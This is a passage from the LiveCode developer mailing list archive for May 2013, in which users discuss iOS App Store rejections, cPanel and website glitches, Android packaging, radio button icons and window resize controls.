http://lists.runrev.com/mailman/listinfo/use-livecode _______________________________________________ use-livecode mailing list use-livecode at lists.runrev.com Please visit this url to subscribe, unsubscribe and manage your subscription preferences: http://lists.runrev.com/mailman/listinfo/use-livecode From sundown at pacifier.com Wed May 15 17:40:39 2013 From: sundown at pacifier.com (JB) Date: Wed, 15 May 2013 14:40:39 -0700 Subject: cPanel Message-ID: <49684406-07A9-4A1D-AD0B-56A8E39ACFC0@pacifier.com> What happened to the cPanel? It use to have tools and info on the left side when you logged knto the cPanel and now they are gone a,ong with other database tools and usage graphs. -=>JB<=- From pete at lcsql.com Wed May 15 18:04:22 2013 From: pete at lcsql.com (Peter Haworth) Date: Wed, 15 May 2013 15:04:22 -0700 Subject: Message Box spurious messages In-Reply-To: <4D0D6395-0002-4DDD-B6AF-F700FC767005@unil.ch> References: <5192C633.000007.05216@CALS_BIG_PC> <8F6AFF8D-914E-474B-A504-CF965D1A0A05@sahores-conseil.com> <0C545B60-71A5-4D97-8230-F1A7ABA48CE0@swcp.com> <4D0D6395-0002-4DDD-B6AF-F700FC767005@unil.ch> Message-ID: On Wed, May 15, 2013 at 2:28 PM, Jacques Hausser wrote: > Warning: As I told before, it is still dangerous to click on button(s) > "Latest RunRev news" (wi-fi logo) on the new website: Niagara of new tabs. > I had to force quit Firefox to stop it, and even that was not so easy. In Chrome, I get a raw XML display when I click that icon - I think it's supposed to be an RSS feed. Also notice that the App Development, Web Hosting, Typing Tutor, Livecode, On-Rev, and TenThumbs all go to the same page about the Community Edition. Guessing that's not the way it's supposed to be. Pete lcSQL Software From hatchfactory at gmail.com Wed May 15 18:08:52 2013 From: hatchfactory at gmail.com (Michael Hatch) Date: Wed, 15 May 2013 15:08:52 -0700 Subject: automated iOS rejection: Non-public API usage In-Reply-To: <8D011B59-D50B-4DC8-831A-3AB5BD86583E@businessplaninsight.com> References: <8D011B59-D50B-4DC8-831A-3AB5BD86583E@businessplaninsight.com> Message-ID: I too have been effected by this issue. Having been in possession of the 5.5 iOS deployment option for only a little while, I'm quite bummed as it seems to have become obsolete. If someone knows or discovers a workaround in 5.5 It would save my project and make my month. On Mon, May 13, 2013 at 11:52 PM, Dave Kilroy wrote: > I also have been bitten by this bug - at 04:20 this morning - I would be > tearing my hair out but I have none left! > > Anyone got any information on when RunRev will put out a new version? > > Kind regards - Dave > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > From tate83 at gmail.com Wed May 15 18:11:27 2013 From: tate83 at gmail.com (Pascal Lehner) Date: Wed, 15 May 2013 23:11:27 +0100 Subject: Android Push Notifications Message-ID: Hey everyone, I used to set up a test with Android push notifications following this HowTo and the stack that comes with it: http://lessons.runrev.com/m/4069/l/59312 I managed to set up all the dev stuff and actually generate my mobile's token. But when I try to send a notification using the stack AndroidPushTest_new from the HowTo, I get a "error: communication failed" in the stack. Could someone else with a working set up give this stack a try? Thanks! Pascal Pascal Lehner 147/1 St Leonards Street Edinburgh EH8 9RB United Kingdom From matthias_livecode_150811 at m-r-d.de Wed May 15 18:16:14 2013 From: matthias_livecode_150811 at m-r-d.de (Matthias Rebbe) Date: Thu, 16 May 2013 00:16:14 +0200 Subject: Message Box spurious messages In-Reply-To: References: <5192C633.000007.05216@CALS_BIG_PC> <8F6AFF8D-914E-474B-A504-CF965D1A0A05@sahores-conseil.com> <0C545B60-71A5-4D97-8230-F1A7ABA48CE0@swcp.com> <4D0D6395-0002-4DDD-B6AF-F700FC767005@unil.ch> Message-ID: <9430717A-214E-4AD6-80C4-6D5CF86D5FA0@m-r-d.de> I reported this to runrev already on tuesday evening. I got a message from heather on wednesday morning. They will fix it asap. Regards, Matthias Am 16.05.2013 um 00:04 schrieb Peter Haworth : > On Wed, May 15, 2013 at 2:28 PM, Jacques Hausser wrote: > >> Warning: As I told before, it is still dangerous to click on button(s) >> "Latest RunRev news" (wi-fi logo) on the new website: Niagara of new tabs. >> I had to force quit Firefox to stop it, and even that was not so easy. > > > In Chrome, I get a raw XML display when I click that icon - I think it's > supposed to be an RSS feed. > > Also notice that the App Development, Web Hosting, Typing Tutor, Livecode, > On-Rev, and TenThumbs all go to the same page about the Community Edition. > Guessing that's not the way it's supposed to be. > > Pete > lcSQL Software > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From m.schonewille at economy-x-talk.com Wed May 15 18:16:57 2013 From: m.schonewille at economy-x-talk.com (Mark Schonewille) Date: Thu, 16 May 2013 00:16:57 +0200 Subject: Heirarchy and where the mouseUp signal is detected. In-Reply-To: <5193E806.6050705@gmail.com> References: <5193DFCD.6010003@gmail.com> <5193E760.8040202@economy-x-talk.com> <5193E806.6050705@gmail.com> Message-ID: <51940959.5010003@economy-x-talk.com> Hi Richmond, Try a front script: on mouseUp send "mouseUp" to the current card in 0 millisecs pass mouseUp end mouseUp Or use dispatch instead of send, if a card may not have a mouseUp handler, or put an extra mouseUp handler at the mainstack level. -- Best regards, Mark Schonewille Economy-x-Talk Consulting and Software Engineering Homepage: http://economy-x-talk.com Twitter: http://twitter.com/xtalkprogrammer KvK: 50277553 Use Color Converter to convert CMYK, RGB, RAL, XYZ, H.Lab and other colour spaces. http://www.color-converter.com Buy my new book "Programming LiveCode for the Real Beginner" http://qery.us/3fi > > Now that is a piece of extremely useful information, although, if you > read my reply to Randy, you will see why > I will not be that keen on it. > > Richmond. > >> -- >> Best regards, >> >> Mark Schonewille >> > From sundown at pacifier.com Wed May 15 18:27:10 2013 From: sundown at pacifier.com (JB) Date: Wed, 15 May 2013 15:27:10 -0700 Subject: cPanel In-Reply-To: <49684406-07A9-4A1D-AD0B-56A8E39ACFC0@pacifier.com> References: <49684406-07A9-4A1D-AD0B-56A8E39ACFC0@pacifier.com> Message-ID: <43C51BDF-DF21-4887-A420-A87B83B9A754@pacifier.com> If I use Safari the cPanel appears like it should but when I use Firefox it does not log in without first showing a error pate and after logging in the cPanel does not show the tools and info. I used to have trouble using the cPanel with Safari so amd I better using Safari now that they upgraded? -=>JB<=- On May 15, 2013, at 2:40 PM, JB wrote: > What happened to the cPanel? It use to have tools > and info on the left side when you logged knto the > cPanel and now they are gone a,ong with other > database tools and usage graphs. > > -=>JB<=- > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > From sundown at pacifier.com Wed May 15 18:33:57 2013 From: sundown at pacifier.com (JB) Date: Wed, 15 May 2013 15:33:57 -0700 Subject: cPanel In-Reply-To: <43C51BDF-DF21-4887-A420-A87B83B9A754@pacifier.com> References: <49684406-07A9-4A1D-AD0B-56A8E39ACFC0@pacifier.com> <43C51BDF-DF21-4887-A420-A87B83B9A754@pacifier.com> Message-ID: I pasted the web address of the Safari cPanel into Firefox and now it works like it should. -=>JB<=- On May 15, 2013, at 3:27 PM, JB wrote: > If I use Safari the cPanel appears like it should but when I use > Firefox it does not log in without first showing a error pate and > after logging in the cPanel does not show the tools and info. > > I used to have trouble using the cPanel with Safari so > amd I better using Safari now that they upgraded? > > -=>JB<=- > > > On May 15, 2013, at 2:40 PM, JB wrote: > >> What happened to the cPanel? It use to have tools >> and info on the left side when you logged knto the >> cPanel and now they are gone a,ong with other >> database tools and usage graphs. >> >> -=>JB<=- >> >> _______________________________________________ >> use-livecode mailing list >> use-livecode at lists.runrev.com >> Please visit this url to subscribe, unsubscribe and manage your subscription preferences: >> http://lists.runrev.com/mailman/listinfo/use-livecode >> > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > From jacque at hyperactivesw.com Wed May 15 18:37:29 2013 From: jacque at hyperactivesw.com (J. Landman Gay) Date: Wed, 15 May 2013 17:37:29 -0500 Subject: Deleted menus hanging around In-Reply-To: References: Message-ID: <51940E29.7070100@hyperactivesw.com> On 5/15/13 10:55 AM, Dr. Hawkins wrote: > My menus were still there, so I set them to not behave like a background > with a property inspector, and deleted that group from that card from the > message box. Then I deleted the card. > > The custom menus are still appearing in my remaining cards, though--but > don't appear in the application browser (this is 5.5.4). > > How do I find them to get rid of htem??? If you're on a Mac the menubar may still be in memory. In the message box: set the menubar of this stack to empty To be sure the group is completely gone, use the Find and Replace utility in the Edit menu, tick the Name checkbox, and search the stack for the name of the group. -- Jacqueline Landman Gay | jacque at hyperactivesw.com HyperActive Software | http://www.hyperactivesw.com From jacque at hyperactivesw.com Wed May 15 18:45:21 2013 From: jacque at hyperactivesw.com (J. Landman Gay) Date: Wed, 15 May 2013 17:45:21 -0500 Subject: [Beginner] Hints/Tips on how to Update Livecode Application Remote and Automatic In-Reply-To: <5193F63C.9070202@gmail.com> References: <5193F63C.9070202@gmail.com> Message-ID: <51941001.3060605@hyperactivesw.com> On 5/15/13 3:55 PM, Graham Pearson wrote: > As I create an application and before I send it out to those that have > used my Adobe Air application which is being converted to Livecode. I am > looking for resources on how to Update the Application Remotely and > Automatic as possible. I am sifting through the 35,000 messages in my > RunRev Folder but have not found resources to help me get going on the > Update Process. Almost everything possible has been discussed on this list at some point. There are archives at Nabble and Gmane. I generally use Nabble: http://runtime-revolution.278305.n4.nabble.com/ Try searching for "automatic update" or "remote update". Several of us have done remote updating, but it's been a long day at the conference and I'm too bushed to write it up. But if you haven't got it figured out in a week or so, write again. -- Jacqueline Landman Gay | jacque at hyperactivesw.com HyperActive Software | http://www.hyperactivesw.com From jacque at hyperactivesw.com Wed May 15 19:10:51 2013 From: jacque at hyperactivesw.com (J. Landman Gay) Date: Wed, 15 May 2013 18:10:51 -0500 Subject: [AN] iOS to Android issues... In-Reply-To: <11469FE9-F2BD-41BC-AE1A-C7EFD93100A9@paulmaguire.me> References: <4B92750A-AB39-487A-9C55-C9EF8C5B0761@paulmaguire.me> <51936902.4050403@hyperactivesw.com> <11469FE9-F2BD-41BC-AE1A-C7EFD93100A9@paulmaguire.me> Message-ID: <519415FB.3050305@hyperactivesw.com> On 5/15/13 3:39 PM, Paul Maguire wrote: > In my build I am using 'new referenced control/image file' for all > images. This workflow works fine for publishing to IOS but fails to > load any images in Android. If I use a script to embed all linked > media and compile for Android, all is well - images appear fine. I > store all my images and other media in a Media folder next to the > authoring file. It's like after compiling for Android the directory > structure is destroyed and the app can't see or load images. I can > see in the iOS app that the directory structure is maintained (I can > explore the package in the Finder ) but I can't do this with the > Android file file. Any ideas? An apk is a zip file. Change the extension to .zip and you should be able to unzip it and look inside. The Media folder should have been transfered to an assets folder, and so the path will likely be different than it was when you did the import. The standalone builder should have accomodated that. You should see a Media folder inside the "assets" folder in the archive. If it isn't there, I'd report it. I'm not sure if the app will run if you recreate the folder structure and then re-zip the archive but it's worth a try. -- Jacqueline Landman Gay | jacque at hyperactivesw.com HyperActive Software | http://www.hyperactivesw.com From dixonja at hotmail.co.uk Wed May 15 19:14:01 2013 From: dixonja at hotmail.co.uk (John Dixon) Date: Thu, 16 May 2013 00:14:01 +0100 Subject: automated iOS rejection: Non-public API usage In-Reply-To: References: <8D011B59-D50B-4DC8-831A-3AB5BD86583E@businessplaninsight.com>, Message-ID: Maybe someone looking at this list, who is attending the conference might ask some questions... as it seems that liveCode submissions for approval to the iTunes store are being rejected wholesale... I have a stack that I wish to submit, and don't want to suffer the same fate as you guys... tempus fugit ! > Date: Wed, 15 May 2013 15:08:52 -0700 > Subject: Re: automated iOS rejection: Non-public API usage > From: hatchfactory at gmail.com > To: use-livecode at lists.runrev.com > > I too have been effected by this issue. Having been in possession of the > 5.5 iOS deployment option for only a little while, I'm quite bummed as it > seems to have become obsolete. If someone knows or discovers a workaround > in 5.5 It would save my project and make my month. > > > On Mon, May 13, 2013 at 11:52 PM, Dave Kilroy > wrote: > > > I also have been bitten by this bug - at 04:20 this morning - I would be > > tearing my hair out but I have none left! > > > > Anyone got any information on when RunRev will put out a new version? > > > > Kind regards - Dave > > > > > > _______________________________________________ > > use-livecode mailing list > > use-livecode at lists.runrev.com > > Please visit this url to subscribe, unsubscribe and manage your > > subscription preferences: > > http://lists.runrev.com/mailman/listinfo/use-livecode > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From jacque at hyperactivesw.com Wed May 15 19:18:06 2013 From: jacque at hyperactivesw.com (J. Landman Gay) Date: Wed, 15 May 2013 18:18:06 -0500 Subject: automated iOS rejection: Non-public API usage In-Reply-To: References: <8D011B59-D50B-4DC8-831A-3AB5BD86583E@businessplaninsight.com> Message-ID: <519417AE.8010902@hyperactivesw.com> On 5/15/13 5:08 PM, Michael Hatch wrote: > I too have been effected by this issue. Having been in possession of the > 5.5 iOS deployment option for only a little while, I'm quite bummed as it > seems to have become obsolete. If someone knows or discovers a workaround > in 5.5 It would save my project and make my month. It's an engine fix, there's not much you can do on your end. It's fixed for the next release, but I'm afraid you'll have to wait for it. Shouldn't be too long, though I doubt it will happen until after the conference. -- Jacqueline Landman Gay | jacque at hyperactivesw.com HyperActive Software | http://www.hyperactivesw.com From martyknappster at gmail.com Wed May 15 19:46:04 2013 From: martyknappster at gmail.com (Marty Knapp) Date: Wed, 15 May 2013 16:46:04 -0700 Subject: Export Snapshot on Windows Message-ID: <51941E3C.8010109@gmail.com> I'm working on an app where I use the export snapshot on 3 different cards, placing these images into a temp stack, one after the other. Then I export a composite of the three images to file. The temp stack I place off-screen, then delete the stack when I'm done exporting. On Mac it works great. On Windows 7 (running in Parallels) I get an error on export that no image is selected. If I locate the temp stack on screen where it can be seen it works, sort of. The trouble is, the composite of the 3 images and thus the temp stack are taller than the screen, so it clips the image. Am I not able to place the temp stack off-screen on Windows? Am I missing something obvious, or not so obvious? Thanks, -- Best regards, Marty Knapp Knappster Solutions LLC --------------------------- From dsc at swcp.com Wed May 15 19:46:19 2013 From: dsc at swcp.com (Dar Scott) Date: Wed, 15 May 2013 17:46:19 -0600 Subject: Rethinking rsa encryption of license keys In-Reply-To: References: <49856417-F658-4A19-8E4C-48B768B8B6EB@kagi.com> <71100ACF-D6D6-45CC-99DD-F8F56FED9DBA@kagi.com> Message-ID: <7E428461-4920-42D3-9D16-6C2B0696B084@swcp.com> My mistake. I was limiting my thinking to what is returned by cipherNames(). On May 15, 2013, at 2:37 PM, Dr. Hawkins wrote: > On Wed, May 15, 2013 at 12:58 PM, Dar Scott wrote: > >> Unless something exotic has been added recently, they all are, in the >> sense that you use the same key (and seed or IV, if used) for decrypting as >> you use for encrypting. > > > RSA is in there now . . . > > > -- > Dr. Richard E. Hawkins, Esq. > (702) 508-8462 > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From dsc at swcp.com Wed May 15 19:50:43 2013 From: dsc at swcp.com (Dar Scott) Date: Wed, 15 May 2013 17:50:43 -0600 Subject: Conference get-together In-Reply-To: References: Message-ID: <50106CA7-412C-46B7-AF83-2907B5860CDB@swcp.com> I think this is an attempt by Mark Wieder to torture us who were not able to go. On May 15, 2013, at 12:40 PM, Mark Wieder wrote: > We're going drinking tonight at Hemma's. All invited. I'll be there about 21:30. > Have fun. > 75, Holyrood Rd, Edinburgh. > > -- > Mark Wieder > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From mwieder at ahsoftware.net Wed May 15 20:10:52 2013 From: mwieder at ahsoftware.net (mwieder at ahsoftware.net) Date: Wed, 15 May 2013 19:10:52 -0500 Subject: Conference get-together In-Reply-To: References: Message-ID: <33413191583efd799e567be9e698d465.squirrel@odin.on-rev.com> > There's six of us there already, we've grabbed a big table upstairs. Now put that back... you can't take it with you... -- Mark Wieder mwieder at ahsoftware.net From skip at magicgate.com Wed May 15 21:36:16 2013 From: skip at magicgate.com (Magicgate Software - Skip Kimpel) Date: Wed, 15 May 2013 21:36:16 -0400 Subject: automated iOS rejection: Non-public API usage In-Reply-To: <519417AE.8010902@hyperactivesw.com> References: <8D011B59-D50B-4DC8-831A-3AB5BD86583E@businessplaninsight.com> <519417AE.8010902@hyperactivesw.com> Message-ID: So that will also mean that it will force all of us running the commercial version of 5.5.4 to pay for the new commercial version, right? SKIP On Wed, May 15, 2013 at 7:18 PM, J. Landman Gay wrote: > On 5/15/13 5:08 PM, Michael Hatch wrote: > >> I too have been effected by this issue. Having been in possession of the >> 5.5 iOS deployment option for only a little while, I'm quite bummed as it >> seems to have become obsolete. If someone knows or discovers a workaround >> in 5.5 It would save my project and make my month. >> > > It's an engine fix, there's not much you can do on your end. It's fixed > for the next release, but I'm afraid you'll have to wait for it. Shouldn't > be too long, though I doubt it will happen until after the conference. > > > -- > Jacqueline Landman Gay | jacque at hyperactivesw.com > HyperActive Software | http://www.hyperactivesw.com > > ______________________________**_________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/**mailman/listinfo/use-livecode > From pete at lcsql.com Wed May 15 22:05:30 2013 From: pete at lcsql.com (Peter Haworth) Date: Wed, 15 May 2013 19:05:30 -0700 Subject: Radio button icons Message-ID: I'm using my own icons for a grouped set of radio buttons for the first time. I assumed that if I specified a hilitedicon for each of them that when I clicked on one to select it, it would show the hilitedicon then go back to to the standard icon when clicked again, but that doesn't happen - I just see the standard icon all the time. I can see the hilitedbuttonname of the group change as I click each icon so I know the radiobehavior is working OK. The hilitedicons are copies of the standard icons with some graphic effects applied. I'm getting round the issue for now with a mouseUp handler in the group's script that loops thru the buttons in the group setting the shadow property to either true or false depending on whether it's the hilitedbuttonname or not but would be nice to figure out why the hilitedicon doesn't seem to have any effect. Pete lcSQL Software From dunbarx at aol.com Wed May 15 22:27:31 2013 From: dunbarx at aol.com (dunbarx at aol.com) Date: Wed, 15 May 2013 22:27:31 -0400 (EDT) Subject: Radio button icons In-Reply-To: References: Message-ID: <8D01FF40CE2F68C-13F4-349EF@webmail-m237.sysops.aol.com> Peter. If you: set the hilite of btn "yourButton" to not the hilite of btn "yourButton" does the icon switch from one to the other? (autoHilite set to "false") Does the "hoverIcon" or "armedIcon" work OK? Craig Newman -----Original Message----- From: Peter Haworth To: How to use LiveCode Sent: Wed, May 15, 2013 10:06 pm Subject: Radio button icons I'm using my own icons for a grouped set of radio buttons for the first time. I assumed that if I specified a hilitedicon for each of them that when I clicked on one to select it, it would show the hilitedicon then go back to to the standard icon when clicked again, but that doesn't happen - I just see the standard icon all the time. I can see the hilitedbuttonname of the group change as I click each icon so I know the radiobehavior is working OK. The hilitedicons are copies of the standard icons with some graphic effects applied. I'm getting round the issue for now with a mouseUp handler in the group's script that loops thru the buttons in the group setting the shadow property to either true or false depending on whether it's the hilitedbuttonname or not but would be nice to figure out why the hilitedicon doesn't seem to have any effect. Pete lcSQL Software _______________________________________________ use-livecode mailing list use-livecode at lists.runrev.com Please visit this url to subscribe, unsubscribe and manage your subscription preferences: http://lists.runrev.com/mailman/listinfo/use-livecode From dave at businessplaninsight.com Thu May 16 03:11:50 2013 From: dave at businessplaninsight.com (Dave Kilroy) Date: Thu, 16 May 2013 08:11:50 +0100 Subject: automated iOS rejection: Non-public API usage Message-ID: <076BE4A4-9CBE-4999-B678-A43EA1DCB449@businessplaninsight.com> Hi Michael There is a quality.runrev.com section to the website where we can report bugs and get updates as to how progress is going on fixing them. As you are fairly new to LiveCode you may not have yet gone through the process of getting Heather to set up an account for you there (at least that was the process I had to go through). The bug number is 10895 and what follows are a couple of extracts of postings I made there on Tuesday: "Today I talked with Michael McCreary (of RunRev) who told me it was likely the engine (that was the problem) and that he would be in touch with people signed up to this bug with news of an early release of the engine so we can get our apps submitted." "Michael was really nice about it and said he would try to get us something early next week" So, if you can't get to add yourself to the list on the bug page I suggest you email support at runrev.com asking to be included in any send out of an early build that fixes bug 10895 As far as I can tell there around 8 of us in the same situation ? if the problem was with submitting to Android we could (if we had the skills) make a fork on GitHub of the engine and remove the offending references to UDID - but we can't submit apps to the app store with community edition so as far as I know we just have to wait for RunRev to get us that early build of the engine. Kind regards Dave From userev at canelasoftware.com Thu May 16 03:24:18 2013 From: userev at canelasoftware.com (Mark Talluto) Date: Thu, 16 May 2013 08:24:18 +0100 Subject: automated iOS rejection: Non-public API usage In-Reply-To: References: <8D011B59-D50B-4DC8-831A-3AB5BD86583E@businessplaninsight.com> <519417AE.8010902@hyperactivesw.com> Message-ID: If the bug is also present in version 5.5.4, there is the possibility RR will not go back to fix it there. That would be a business decision that has not been revealed to the public yet. Best regards, Mark Talluto http://www.canelasoftware.com On May 16, 2013, at 2:36 AM, Magicgate Software - Skip Kimpel wrote: > So that will also mean that it will force all of us running the commercial > version of 5.5.4 to pay for the new commercial version, right? > > SKIP > > > On Wed, May 15, 2013 at 7:18 PM, J. Landman Gay wrote: > >> On 5/15/13 5:08 PM, Michael Hatch wrote: >> >>> I too have been effected by this issue. Having been in possession of the >>> 5.5 iOS deployment option for only a little while, I'm quite bummed as it >>> seems to have become obsolete. If someone knows or discovers a workaround >>> in 5.5 It would save my project and make my month. >>> >> >> It's an engine fix, there's not much you can do on your end. It's fixed >> for the next release, but I'm afraid you'll have to wait for it. Shouldn't >> be too long, though I doubt it will happen until after the conference. >> >> >> -- >> Jacqueline Landman Gay | jacque at hyperactivesw.com >> HyperActive Software | http://www.hyperactivesw.com >> >> ______________________________**_________________ >> use-livecode mailing list >> use-livecode at lists.runrev.com >> Please visit this url to subscribe, unsubscribe and manage your >> subscription preferences: >> http://lists.runrev.com/**mailman/listinfo/use-livecode >> > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From dave at businessplaninsight.com Thu May 16 03:56:47 2013 From: dave at businessplaninsight.com (Dave Kilroy2) Date: Thu, 16 May 2013 00:56:47 -0700 (PDT) Subject: automated iOS rejection: Non-public API usage In-Reply-To: <5F4B1D69-6974-40DB-ABEC-F2F25452581E@elementarysoftware.com> References: <5F4B1D69-6974-40DB-ABEC-F2F25452581E@elementarysoftware.com> Message-ID: <1368691007234-4664977.post@n4.nabble.com> Mark Waddingham just posted this on Bug 10895: Hi all, Just an update on this issue. The 'non-public API' usage error is caused because the engine still has a linkage to the 'systemIdentifier' device property which Apple are now scanning for in their automated tests before an app goes into review. Even though your apps may not use the functionality Apple assumes they do because that link is present. We've done the initial work on this and are just testing internally to make sure it is resolved. As soon as we are happy that it is we will post the necessary files and instructions so that all of you can resubmit your apps. This change will then be rolled into both a 6.0.2 release, *and* we will back-port the change (on this occasion) to 5.5.x and do a 5.5.5 release. Warmest Regards, Mark. -- View this message in context: http://runtime-revolution.278305.n4.nabble.com/automated-iOS-rejection-Non-public-API-usage-tp4664353p4664977.html Sent from the Revolution - User mailing list archive at Nabble.com. From pete at lcsql.com Thu May 16 11:54:13 2013 From: pete at lcsql.com (Peter Haworth) Date: Thu, 16 May 2013 08:54:13 -0700 Subject: Radio button icons In-Reply-To: <8D01FF40CE2F68C-13F4-349EF@webmail-m237.sysops.aol.com> References: <8D01FF40CE2F68C-13F4-349EF@webmail-m237.sysops.aol.com> Message-ID: I think I figured out what's happening. As mentioned, the hilitedicon is a copy of the standard icon with a dropshadow graphic effect applied to it. I think the graphic effect is not part of the icon but just affects the pixels immediately surrounding the icon so when the hilitedicon is displayed, it looks exactly the same as the original icon. If I use a completely different icon with no graphic effects, all works fine. I'm going to try exporting a snapshot of the hilited icon along with its graphic effects and see if that works but pretty sure it will. Pete lcSQL Software On Wed, May 15, 2013 at 7:27 PM, wrote: > Peter. > > > If you: > > > set the hilite of btn "yourButton" to not the hilite of btn "yourButton" > > > does the icon switch from one to the other? (autoHilite set to "false") > > > Does the "hoverIcon" or "armedIcon" work OK? > > > Craig Newman > > > > -----Original Message----- > From: Peter Haworth > To: How to use LiveCode > Sent: Wed, May 15, 2013 10:06 pm > Subject: Radio button icons > > > I'm using my own icons for a grouped set of radio buttons for the first > time. > > I assumed that if I specified a hilitedicon for each of them that when I > clicked on one to select it, it would show the hilitedicon then go back to > to the standard icon when clicked again, but that doesn't happen - I just > see the standard icon all the time. > > I can see the hilitedbuttonname of the group change as I click each icon so > I know the radiobehavior is working OK. > > The hilitedicons are copies of the standard icons with some graphic effects > applied. > > I'm getting round the issue for now with a mouseUp handler in the group's > script that loops thru the buttons in the group setting the shadow property > to either true or false depending on whether it's the hilitedbuttonname or > not but would be nice to figure out why the hilitedicon doesn't seem to > have any effect. > > Pete > lcSQL Software > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription > preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > From dsc at swcp.com Thu May 16 13:52:51 2013 From: dsc at swcp.com (Dar Scott) Date: Thu, 16 May 2013 11:52:51 -0600 Subject: 5.5.4 Activation Message-ID: <30D8B7EC-3F41-4607-B9EA-AC0E1FA9042E@swcp.com> I haven't had any problem in activating versions of LiveCode. Until this week. Installation has been fine (except for "all users" on Windows later versions). However, this week I have been having trouble activating LiveCode 5.5.4. This is very likely a problem in my test network. But, maybe it was glitch during web site changes (which is up now, I noticed). Or, maybe activation is no more. What is the status on activating versions of LiveCode? Dar --------------------------- Dar Scott dba Dar Scott Consulting 8637 Horacio Place NE Albuquerque, NM 87111 Lab, home, office phone: +1 505 299 9497 For Skype and fax, please contact. dsc at swcp.com Computer programming and tinkering, usually in supporting those developing in LiveCode--typically by making LiveCode controls, libraries and externals, and sometimes by writing associated microcontroller firmware. --------------------------- From matthias_livecode_150811 at m-r-d.de Thu May 16 14:10:01 2013 From: matthias_livecode_150811 at m-r-d.de (Matthias Rebbe) Date: Thu, 16 May 2013 20:10:01 +0200 Subject: 5.5.4 Activation In-Reply-To: <30D8B7EC-3F41-4607-B9EA-AC0E1FA9042E@swcp.com> References: <30D8B7EC-3F41-4607-B9EA-AC0E1FA9042E@swcp.com> Message-ID: Dar, LC 5.5.4 still needs activation. If you have problems with the online activation, then just create a offline-activation file in your Runrev store account and use the offline activation feature in LC. That should do. HTH. Regards, Matthias Am 16.05.2013 um 19:52 schrieb Dar Scott : > I haven't had any problem in activating versions of LiveCode. Until this week. Installation has been fine (except for "all users" on Windows later versions). However, this week I have been having trouble activating LiveCode 5.5.4. > > This is very likely a problem in my test network. But, maybe it was glitch during web site changes (which is up now, I noticed). Or, maybe activation is no more. > > What is the status on activating versions of LiveCode? > > Dar > > --------------------------- > Dar Scott > dba > Dar Scott Consulting > 8637 Horacio Place NE > Albuquerque, NM 87111 > > Lab, home, office phone: +1 505 299 9497 > For Skype and fax, please contact. > dsc at swcp.com > > Computer programming and tinkering, > usually in supporting those developing in > LiveCode--typically by making LiveCode > controls, libraries and externals, and > sometimes by writing associated > microcontroller firmware. > --------------------------- > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From pete at lcsql.com Thu May 16 18:58:14 2013 From: pete at lcsql.com (Peter Haworth) Date: Thu, 16 May 2013 15:58:14 -0700 Subject: Window Decorations Message-ID: Setting the Window decorations of a stack to empty gets rid of the resize handle as well as the title bar. Is there a way to not have a title bar but retain the resize handle or do I need to roll my own stack resize handler? Pete lcSQL Software From bonnmike at gmail.com Thu May 16 19:25:53 2013 From: bonnmike at gmail.com (Mike Bonner) Date: Thu, 16 May 2013 17:25:53 -0600 Subject: Window Decorations In-Reply-To: References: Message-ID: theres a prebuilt resize control you can drop onto your stack. Look in the development menu, object library. If you don't like the look, snitch the code and go from there. (two at the very top, mac style resizer and win style resizer) On Thu, May 16, 2013 at 4:58 PM, Peter Haworth wrote: > Setting the Window decorations of a stack to empty gets rid of the resize > handle as well as the title bar. Is there a way to not have a title bar > but retain the resize handle or do I need to roll my own stack resize > handler? > > Pete > lcSQL Software > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > From pete at lcsql.com Thu May 16 20:27:25 2013 From: pete at lcsql.com (Peter Haworth) Date: Thu, 16 May 2013 17:27:25 -0700 Subject: Window Decorations In-Reply-To: References: Message-ID: Hey Mike, Thanks a lot for that, works great. I've never really looked in the object library before so another new piece of knowledge! Pete lcSQL Software On Thu, May 16, 2013 at 4:25 PM, Mike Bonner wrote: > theres a prebuilt resize control you can drop onto your stack. Look in the > development menu, object library. If you don't like the look, snitch the > code and go from there. (two at the very top, mac style resizer and win > style resizer) > > > On Thu, May 16, 2013 at 4:58 PM, Peter Haworth wrote: > > > Setting the Window decorations of a stack to empty gets rid of the resize > > handle as well as the title bar. Is there a way to not have a title bar > > but retain the resize handle or do I need to roll my own stack resize > > handler? > > > > Pete > > lcSQL Software > > _______________________________________________ > > use-livecode mailing list > > use-livecode at lists.runrev.com > > Please visit this url to subscribe, unsubscribe and manage your > > subscription preferences: > > http://lists.runrev.com/mailman/listinfo/use-livecode > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, 